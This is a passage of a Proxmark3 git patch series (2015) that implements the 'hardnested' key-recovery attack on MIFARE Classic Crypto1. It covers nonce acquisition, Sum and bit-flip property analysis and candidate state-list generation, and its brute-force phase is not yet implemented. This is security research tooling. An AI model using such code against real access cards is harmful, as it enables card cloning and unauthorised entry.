mode 100644 index 00000000..94c57717 --- /dev/null +++ b/client/cmdhfmfhard.h @@ -0,0 +1,11 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2015 piwi +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// hf mf hardnested command +//----------------------------------------------------------------------------- + +int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_read, bool nonce_file_write, bool slow); From 83b19f1a4685113b67b32372d1e07035da527a97 Mon Sep 17 00:00:00 2001 From: pwpiwi Date: Tue, 3 Nov 2015 21:00:45 +0100 Subject: [PATCH 06/12] implementing hf mf hardnested: - generated statelist with bitflip nonces - check first nonce bytes for bitflip property - select more than one "best" first bytes --- client/cmdhfmfhard.c | 229 ++++++++++++++++++++++++++++++++----------- 1 file changed, 171 insertions(+), 58 deletions(-) diff --git a/client/cmdhfmfhard.c b/client/cmdhfmfhard.c index 093e13d5..fdc5daa8 100644 --- a/client/cmdhfmfhard.c +++ b/client/cmdhfmfhard.c @@ -25,7 +25,42 @@ #include "util.h" #include "nonce2key/crapto1.h" +static const float p_K[257] = { // the probability that a random nonce has a Sum Property == K + 0.0290, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.4180, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0290 }; + typedef struct noncelistentry { uint32_t nonce_enc; uint8_t par_enc; @@ -36,6 +71,7 @@ typedef struct noncelist { uint16_t num; uint16_t Sum; uint16_t Sum8_guess; + uint8_t BitFlip[2]; float Sum8_prob; bool updated; noncelistentry_t *first; @@ -50,6 +86,9 @@ static uint8_t best_first_byte; static uint16_t guessed_Sum8; static float guessed_Sum8_confidence; +#define MAX_BEST_BYTES 20 +static uint8_t best_first_bytes[MAX_BEST_BYTES]; + typedef enum { EVEN_STATE = 0, @@ -74,6 +113,7 @@ typedef struct { partial_indexed_statelist_t partial_statelist_odd[17]; partial_indexed_statelist_t partial_statelist_even[17]; +partial_indexed_statelist_t statelist_bitflip; statelist_t *candidates = NULL; @@ -211,49 +251,16 @@ static float sum_probability(uint16_t K, uint16_t n, uint16_t k) { const uint16_t N = 256; - const float p[257] = { - 0.0290, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.4180, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, - 0.02900 }; + - if (k > K || p[K] == 0.0) return 0.0; + if (k > K || p_K[K] == 0.0) return 0.0; double p_T_is_k_when_S_is_K = p_hypergeometric(N, K, n, k); - double p_S_is_K = p[K]; + double p_S_is_K = p_K[K]; double p_T_is_k = 0; for (uint16_t i = 0; i <= 256; i++) { - if (p[i] != 0.0) { - p_T_is_k += p[i] * p_hypergeometric(N, i, n, k); + if (p_K[i] != 0.0) { + p_T_is_k += p_K[i] * p_hypergeometric(N, i, n, k); } } return(p_T_is_k_when_S_is_K * p_S_is_K / p_T_is_k); @@ -355,12 +362,54 @@ static void Tests() SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); crypto1_destroy(pcs); + printf("\nTests: BitFlipProperties odd/even:\n"); + for (uint16_t i = 0; i < 256; i++) { + printf("[%3d]:%c%c ", i, nonces[i].BitFlip[ODD_STATE]?'o':' ', nonces[i].BitFlip[EVEN_STATE]?'e':' '); + if (i % 8 == 7) { + printf("\n"); + } } + printf("\nTests: number of states with BitFlipProperty: %d, (= %1.3f%% of total states)\n", statelist_bitflip.len, 100.0 * statelist_bitflip.len / (1<<20)); + printf("\nTests: Best %d first bytes:\n", MAX_BEST_BYTES); + for (uint16_t i = 0; i < MAX_BEST_BYTES; i++) { + uint8_t best_byte = best_first_bytes[i]; + uint16_t best_num = nonces[best_byte].num; + uint16_t best_sum = nonces[best_byte].Sum; + uint16_t best_sum8 = nonces[best_byte].Sum8_guess; + float confidence = nonces[best_byte].Sum8_prob; + printf("Byte: %02x, n = %2d, k = %2d, Sum(a8): %3d, Confidence: %2.1f%%\n", best_byte, best_num, best_sum, best_sum8, confidence*100); + } +} + + +static void sort_best_first_bytes(void) +{ + for (uint16_t i = 0; i < 256; i++ ) { + uint16_t j = 0; + float prob1 = nonces[i].Sum8_prob; + float prob2 = nonces[best_first_bytes[0]].Sum8_prob; + while (prob1 < prob2 && j < MAX_BEST_BYTES-1) { + prob2 = nonces[best_first_bytes[++j]].Sum8_prob; + } + if (prob1 >= prob2) { + for (uint16_t k = MAX_BEST_BYTES-1; k > j; k--) { + best_first_bytes[k] = best_first_bytes[k-1]; + } + best_first_bytes[j] = i; + } + } +} + static float estimate_second_byte_sum(uint8_t *best_first_byte, uint16_t *best_Sum8_guess) { float max_prob = 0.0; + + for (uint16_t i = 0; i < MAX_BEST_BYTES; i++) { + best_first_bytes[i] = 0; + } + for (uint16_t first_byte = 0; first_byte < 256; first_byte++) { float Sum8_prob = 0.0; uint16_t Sum8 = 0; @@ -382,7 +431,15 @@ static float estimate_second_byte_sum(uint8_t *best_first_byte, uint16_t *best_S *best_Sum8_guess = nonces[first_byte].Sum8_guess; } } - return max_prob; + + sort_best_first_bytes(); + + float total_prob = 1.0; + for (uint16_t i = 0; i < 10; i++) { + total_prob *= nonces[best_first_bytes[i]].Sum8_prob; + } + + return total_prob; } @@ -437,13 +494,15 @@ int static acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_ uint32_t flags = 0; uint8_t write_buf[9]; uint32_t total_num_nonces = 0; - uint32_t next_thousand = 1000; + uint32_t next_fivehundred = 500; uint32_t total_added_nonces = 0; FILE *fnonces = NULL; UsbCommand resp; - #define CONFIDENCE_THRESHOLD 0.95 // Collect nonces until we are certain enough to have guessed Sum(a8) correctly + #define CONFIDENCE_THRESHOLD 0.8 // Collect nonces until we are certain enough that the following brute force is successfull + printf("Acquiring nonces...\n"); + clearCommandBuffer(); do { @@ -505,16 +564,12 @@ int static acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_ if (first_byte_num == 256 ) { // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum); - float last_confidence = guessed_Sum8_confidence; - uint16_t last_Sum8 = guessed_Sum8; guessed_Sum8_confidence = estimate_second_byte_sum(&best_first_byte, &guessed_Sum8); - if (guessed_Sum8_confidence > last_confidence || guessed_Sum8 != last_Sum8 || total_num_nonces > next_thousand) { - next_thousand = (total_num_nonces/1000+1) * 1000; - PrintAndLog("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Guessed Sum(a8) = %3d for first nonce byte = 0x%02x, probability for correct guess = %1.2f%%", + if (total_num_nonces > next_fivehundred) { + next_fivehundred = (total_num_nonces/500+1) * 500; + printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Probability that we correctly guessed Sum(a8) for ten different bytes = %1.2f%%\n", total_num_nonces, total_added_nonces, - guessed_Sum8, - best_first_byte, guessed_Sum8_confidence*100); } if (guessed_Sum8_confidence >= CONFIDENCE_THRESHOLD) { @@ -547,6 +602,9 @@ int static acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_ static int init_partial_statelists(void) { + const uint32_t sizes_odd[17] = { 125601, 0, 17607, 0, 73421, 0, 182033, 0, 248801, 0, 181737, 0, 74241, 0, 18387, 0, 126757 }; + const uint32_t sizes_even[17] = { 62862, 0, 8934, 0, 37153, 0, 89354, 0, 124401, 0, 92532, 0, 36679, 0, 9064, 0, 63318 }; + printf("Allocating memory for partial statelists...\n"); for (uint16_t i = 0; i <= 16; i++) { partial_statelist_odd[i].len = 0; @@ -554,7 +612,7 @@ static int init_partial_statelists(void) partial_statelist_odd[i].states = NULL; } else { // 20 Bits are relevant for odd states. Less than a half per Sum is expected - partial_statelist_odd[i].states = malloc(sizeof(uint32_t) << 19); + partial_statelist_odd[i].states = malloc(sizeof(uint32_t) * sizes_odd[i]); if (partial_statelist_odd[i].states == NULL) { PrintAndLog("Cannot allocate enough memory. Aborting"); return 4; @@ -568,7 +626,7 @@ static int init_partial_statelists(void) partial_statelist_even[i].states = NULL; } else { // 19 Bits are relevant for even states. Less than a half per Sum is expected - partial_statelist_even[i].states = malloc(sizeof(uint32_t) << 18); + partial_statelist_even[i].states = malloc(sizeof(uint32_t) * sizes_even[i]); if (partial_statelist_even[i].states == NULL) { PrintAndLog("Cannot allocate enough memory. Aborting"); return 4; @@ -626,6 +684,29 @@ static int init_partial_statelists(void) return 0; } + +static void init_BitFlip_statelist(void) +{ + printf("Generating bitflip statelist...\n"); + uint32_t *p = statelist_bitflip.states = malloc(sizeof(uint32_t) << 20); + uint32_t index = -1; + for (uint32_t state = 0; state < (1 << 20); state++) { + if (filter(state) != filter(state^1)) { + if ((state & 0x000ff000) != index) { + index = state & 0x000ff000; + } + if (statelist_bitflip.index[index >> 12] == NULL) { + statelist_bitflip.index[index >> 12] = p; + } + *p++ = state; + } + } + // set len and add End Of List marker + statelist_bitflip.len = p - statelist_bitflip.states; + *p = 0xffffffff; + statelist_bitflip.states = realloc(statelist_bitflip.states, sizeof(uint32_t) * (statelist_bitflip.len + 1)); +} + static void add_state(statelist_t *sl, uint32_t state, odd_even_t odd_even) { @@ -782,7 +863,7 @@ static void generate_candidates(uint16_t sum_a0, uint16_t sum_a8) for (statelist_t *sl = candidates; sl != NULL; sl = sl->next) { maximum_states += (uint64_t)sl->len[ODD_STATE] * sl->len[EVEN_STATE] * 2; } - printf("Estimated number of possible keys with S(a0) = %d AND S(a8)=%d: %lld (2^%1.1f)\n", sum_a0, sum_a8, maximum_states, log(maximum_states)/log(2.0)); + printf("Estimated number of remaining possible keys: %lld (2^%1.1f)\n", maximum_states, log(maximum_states)/log(2.0)); TestIfKeyExists(0xffffffffffff); TestIfKeyExists(0xa0a1a2a3a4a5); @@ -790,6 +871,29 @@ static void generate_candidates(uint16_t sum_a0, uint16_t sum_a8) } +static void Check_for_FilterFlipProperties(void) +{ + printf("Checking for Filter Flip Properties...\n"); + + for (uint16_t i = 0; i < 256; i++) { + nonces[i].BitFlip[ODD_STATE] = false; + nonces[i].BitFlip[EVEN_STATE] = false; + } + + for (uint16_t i = 0; i < 256; i++) { + uint8_t parity1 = (nonces[i].first->par_enc) >> 3; // parity of first byte + uint8_t parity2_odd = (nonces[i^0x80].first->par_enc) >> 3; // XOR 0x80 = last bit flipped + uint8_t parity2_even = (nonces[i^0x40].first->par_enc) >> 3; // XOR 0x40 = second last bit flipped + + if (parity1 == parity2_odd) { // has Bit Flip Property for odd bits + nonces[i].BitFlip[ODD_STATE] = true; + } else if (parity1 == parity2_even) { // has Bit Flip Property for even bits + nonces[i].BitFlip[EVEN_STATE] = true; + } + } +} + + int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_read, bool nonce_file_write, bool slow) { @@ -809,6 +913,7 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc guessed_Sum8_confidence = 0.0; init_partial_statelists(); + init_BitFlip_statelist(); if (nonce_file_read) { // use pre-acquired data from file nonces.bin if (read_nonce_file() != 0) { @@ -822,18 +927,26 @@ int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBloc } } + Check_for_FilterFlipProperties(); + Tests(); PrintAndLog(""); PrintAndLog("Sum(a0) = %d", first_byte_Sum); - PrintAndLog("Guess for Sum(a8) = %d for first nonce byte = 0x%02x, n = %d, k = %d, probability for correct guess = %1.0f%%\n", - guessed_Sum8, - best_first_byte, - nonces[best_first_byte].num, - nonces[best_first_byte].Sum, - guessed_Sum8_confidence*100); + PrintAndLog("Best 10 first bytes: %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x", + best_first_bytes[0], + best_first_bytes[1], + best_first_bytes[2], + best_first_bytes[3], + best_first_bytes[4], + best_first_bytes[5], + best_first_bytes[6], + best_first_bytes[7], + best_first_bytes[8], + best_first_bytes[9] ); + PrintAndLog("Confidence that all respective Sum(a8) properties are guessed correctly: %2.1f%%", guessed_Sum8_confidence * 100); - generate_candidates(first_byte_Sum, guessed_Sum8); + generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess); PrintAndLog("Brute force phase not yet implemented"); From 573d743457a4396cc7ec12ffcbd59fce9c4de2a9 Mon Sep 17 00:00:00 2001 From: pwpiwi Date: Wed, 25 Nov 2015 06:56:15 +0100 Subject: [PATCH 07/12] implementing hf mf hardnested - refactoring of partial_indexed_statelists data structure and functions - increase index to speed up searches in statelists - implement Differential Analysis --- client/cmdhfmfhard.c | 644 +++++++++++++++++++++++++------------------ 1 file changed, 373 insertions(+), 271 deletions(-) diff --git a/client/cmdhfmfhard.c b/client/cmdhfmfhard.c index fdc5daa8..914fec61 100644 --- a/client/cmdhfmfhard.c +++ b/client/cmdhfmfhard.c @@ -25,6 +25,13 @@ #include "util.h" #include "nonce2key/crapto1.h" +// uint32_t test_state_odd = 0; +// uint32_t test_state_even = 0; + +#define CONFIDENCE_THRESHOLD 0.99 // Collect nonces until we are certain enough that the following brute force is successfull +#define GOOD_BYTES_REQUIRED 25 + + static const float p_K[257] = { // the probability that a random nonce has a Sum Property == K 0.0290, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, @@ -82,11 +89,9 @@ static uint32_t cuid; static noncelist_t nonces[256]; static uint16_t first_byte_Sum = 0; static uint16_t first_byte_num = 0; -static uint8_t best_first_byte; -static uint16_t guessed_Sum8; -static float guessed_Sum8_confidence; +static uint16_t num_good_first_bytes = 0; -#define MAX_BEST_BYTES 20 +#define MAX_BEST_BYTES 40 static uint8_t best_first_bytes[MAX_BEST_BYTES]; @@ -95,13 +100,13 @@ typedef enum { ODD_STATE = 1 } odd_even_t; -#define MAX_PARTIAL_ODD_STATES 248801 // we know from pre-computing. Includes 0xffffffff as End Of List marker -#define MAX_PARTIAL_EVEN_STATES 124401 // dito +#define STATELIST_INDEX_WIDTH 16 +#define STATELIST_INDEX_SIZE (1<> (3-i)) & 0x01) ; + if (odd_even == ODD_STATE) { + for (uint16_t i = 0; i < 5; i++) { + part_sum ^= filter(st); + st = (st << 1) | ((j >> (3-i)) & 0x01) ; + } + } else { + for (uint16_t i = 0; i < 4; i++) { + st = (st << 1) | ((j >> (3-i)) & 0x01) ; + part_sum ^= filter(st); + } } - oddsum += part_sum; + sum += part_sum; } - return oddsum; -} - - -static uint16_t SumPropertyEven(uint32_t even_state) -{ - uint16_t evensum = 0; - for (uint16_t j = 0; j < 16; j++) { - uint32_t evenstate = even_state; - uint16_t part_sum = 0; - for (uint16_t i = 0; i < 4; i++) { - evenstate = (evenstate << 1) | ((j >> (3-i)) & 0x01) ; - part_sum ^= filter(evenstate); - } - evensum += part_sum; - } - return evensum; + return sum; } static uint16_t SumProperty(struct Crypto1State *s) { - uint16_t sum_odd = SumPropertyOdd(s->odd); - uint16_t sum_even = SumPropertyEven(s->even); + uint16_t sum_odd = PartialSumProperty(s->odd, ODD_STATE); + uint16_t sum_even = PartialSumProperty(s->even, EVEN_STATE); return (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even); } @@ -271,105 +266,117 @@ static void Tests() { printf("Tests: Partial Statelist sizes\n"); for (uint16_t i = 0; i <= 16; i+=2) { - printf("Partial State List Odd [%2d] has %8d entries\n", i, partial_statelist_odd[i].len); + printf("Partial State List Odd [%2d] has %8d entries\n", i, partial_statelist[i].len[ODD_STATE]); } for (uint16_t i = 0; i <= 16; i+=2) { - printf("Partial State List Even [%2d] has %8d entries\n", i, partial_statelist_even[i].len); + printf("Partial State List Even [%2d] has %8d entries\n", i, partial_statelist[i].len[EVEN_STATE]); } - // printf("Tests: State List Odd [4] content:\n"); - // for (uint32_t i = 0; i < partial_statelist_odd[4].len; i++) { - // printf("State_List_Odd[4][%d] = 0x%08x\n", i, partial_statelist_odd[4].states[i]); + + // #define NUM_STATISTICS 100000 + // uint64_t statistics[257]; + // uint32_t statistics_odd[17]; + // uint32_t statistics_even[17]; + // struct Crypto1State cs; + // time_t time1 = clock(); + + // for (uint16_t i = 0; i < 257; i++) { + // statistics[i] = 0; + // } + // for (uint16_t i = 0; i < 17; i++) { + // statistics_odd[i] = 0; + // statistics_even[i] = 0; // } - #define NUM_STATISTICS 100000 - uint64_t statistics[257]; - uint32_t statistics_odd[17]; - uint32_t statistics_even[17]; - struct Crypto1State cs; - time_t time1 = clock(); + // for (uint64_t i = 0; i < NUM_STATISTICS; i++) { + // cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff); + // cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff); + // uint16_t sum_property = SumProperty(&cs); + // statistics[sum_property] += 1; + // sum_property = PartialSumProperty(cs.even, EVEN_STATE); + // statistics_even[sum_property]++; + // sum_property = PartialSumProperty(cs.odd, ODD_STATE); + // statistics_odd[sum_property]++; + // if (i%(NUM_STATISTICS/100) == 0) printf("."); + // } + + // printf("\nTests: Calculated %d Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)clock() - time1)/CLOCKS_PER_SEC, NUM_STATISTICS/((float)clock() - time1)*CLOCKS_PER_SEC); + // for (uint16_t i = 0; i < 257; i++) { + // if (statistics[i] != 0) { + // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/NUM_STATISTICS); + // } + // } + // for (uint16_t i = 0; i <= 16; i++) { + // if (statistics_odd[i] != 0) { + // printf("probability odd [%2d] = %0.5f\n", i, (float)statistics_odd[i]/NUM_STATISTICS); + // } + // } + // for (uint16_t i = 0; i <= 16; i++) { + // if (statistics_odd[i] != 0) { + // printf("probability even [%2d] = %0.5f\n", i, (float)statistics_even[i]/NUM_STATISTICS); + // } + // } - for (uint16_t i = 0; i < 257; i++) { - statistics[i] = 0; - } - for (uint16_t i = 0; i < 17; i++) { - statistics_odd[i] = 0; - statistics_even[i] = 0; - } + // printf("Tests: Sum Probabilities based on Partial Sums\n"); + // for (uint16_t i = 0; i < 257; i++) { + // statistics[i] = 0; + // } + // uint64_t num_states = 0; + // for (uint16_t oddsum = 0; oddsum <= 16; oddsum += 2) { + // for (uint16_t evensum = 0; evensum <= 16; evensum += 2) { + // uint16_t sum = oddsum*(16-evensum) + (16-oddsum)*evensum; + // statistics[sum] += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8); + // num_states += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8); + // } + // } + // printf("num_states = %lld, expected %lld\n", num_states, (1LL<<48)); + // for (uint16_t i = 0; i < 257; i++) { + // if (statistics[i] != 0) { + // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/num_states); + // } + // } - for (uint64_t i = 0; i < NUM_STATISTICS; i++) { - cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff); - cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff); - uint16_t sum_property = SumProperty(&cs); - statistics[sum_property] += 1; - sum_property=SumPropertyEven(cs.even); - statistics_even[sum_property]++; - sum_property=SumPropertyOdd(cs.odd); - statistics_odd[sum_property]++; - if (i%(NUM_STATISTICS/100) == 0) printf("."); - } - - printf("\nTests: Calculated %d Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)clock() - time1)/CLOCKS_PER_SEC, NUM_STATISTICS/((float)clock() - time1)*CLOCKS_PER_SEC); - for (uint16_t i = 0; i < 257; i++) { - if (statistics[i] != 0) { - printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/NUM_STATISTICS); - } - } - for (uint16_t i = 0; i <= 16; i++) { - if (statistics_odd[i] != 0) { - printf("probability odd [%2d] = %0.5f\n", i, (float)statistics_odd[i]/NUM_STATISTICS); - } - } - for (uint16_t i = 0; i <= 16; i++) { - if (statistics_odd[i] != 0) { - printf("probability even [%2d] = %0.5f\n", i, (float)statistics_even[i]/NUM_STATISTICS); - } - } - - printf("Tests: Sum Probabilities based on Partial Sums\n"); - for (uint16_t i = 0; i < 257; i++) { - statistics[i] = 0; - } - uint64_t num_states = 0; - for (uint16_t oddsum = 0; oddsum <= 16; oddsum += 2) { - for (uint16_t evensum = 0; evensum <= 16; evensum += 2) { - uint16_t sum = oddsum*(16-evensum) + (16-oddsum)*evensum; - statistics[sum] += (uint64_t)partial_statelist_odd[oddsum].len * (1<<4) * partial_statelist_even[evensum].len * (1<<5); - num_states += (uint64_t)partial_statelist_odd[oddsum].len * (1<<4) * partial_statelist_even[evensum].len * (1<<5); - } - } - printf("num_states = %lld, expected %lld\n", num_states, (1LL<<48)); - for (uint16_t i = 0; i < 257; i++) { - if (statistics[i] != 0) { - printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/num_states); - } - } - - printf("\nTests: Hypergeometric Probability for selected parameters\n"); - printf("p_hypergeometric(256, 206, 255, 206) = %0.8f\n", p_hypergeometric(256, 206, 255, 206)); - printf("p_hypergeometric(256, 206, 255, 205) = %0.8f\n", p_hypergeometric(256, 206, 255, 205)); - printf("p_hypergeometric(256, 156, 1, 1) = %0.8f\n", p_hypergeometric(256, 156, 1, 1)); - printf("p_hypergeometric(256, 156, 1, 0) = %0.8f\n", p_hypergeometric(256, 156, 1, 0)); - printf("p_hypergeometric(256, 1, 1, 1) = %0.8f\n", p_hypergeometric(256, 1, 1, 1)); - printf("p_hypergeometric(256, 1, 1, 0) = %0.8f\n", p_hypergeometric(256, 1, 1, 0)); + // printf("\nTests: Hypergeometric Probability for selected parameters\n"); + // printf("p_hypergeometric(256, 206, 255, 206) = %0.8f\n", p_hypergeometric(256, 206, 255, 206)); + // printf("p_hypergeometric(256, 206, 255, 205) = %0.8f\n", p_hypergeometric(256, 206, 255, 205)); + // printf("p_hypergeometric(256, 156, 1, 1) = %0.8f\n", p_hypergeometric(256, 156, 1, 1)); + // printf("p_hypergeometric(256, 156, 1, 0) = %0.8f\n", p_hypergeometric(256, 156, 1, 0)); + // printf("p_hypergeometric(256, 1, 1, 1) = %0.8f\n", p_hypergeometric(256, 1, 1, 1)); + // printf("p_hypergeometric(256, 1, 1, 0) = %0.8f\n", p_hypergeometric(256, 1, 1, 0)); struct Crypto1State *pcs; pcs = crypto1_create(0xffffffffffff); printf("\nTests: for key = 0xffffffffffff:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); + crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true); + printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", + best_first_bytes[0], + SumProperty(pcs), + pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); + //test_state_odd = pcs->odd & 0x00ffffff; + //test_state_even = pcs->even & 0x00ffffff; crypto1_destroy(pcs); pcs = crypto1_create(0xa0a1a2a3a4a5); printf("Tests: for key = 0xa0a1a2a3a4a5:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); + crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true); + printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", + best_first_bytes[0], + SumProperty(pcs), + pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); + // test_state_odd = pcs->odd & 0x00ffffff; + // test_state_even = pcs->even & 0x00ffffff; crypto1_destroy(pcs); - printf("\nTests: BitFlipProperties odd/even:\n"); + + 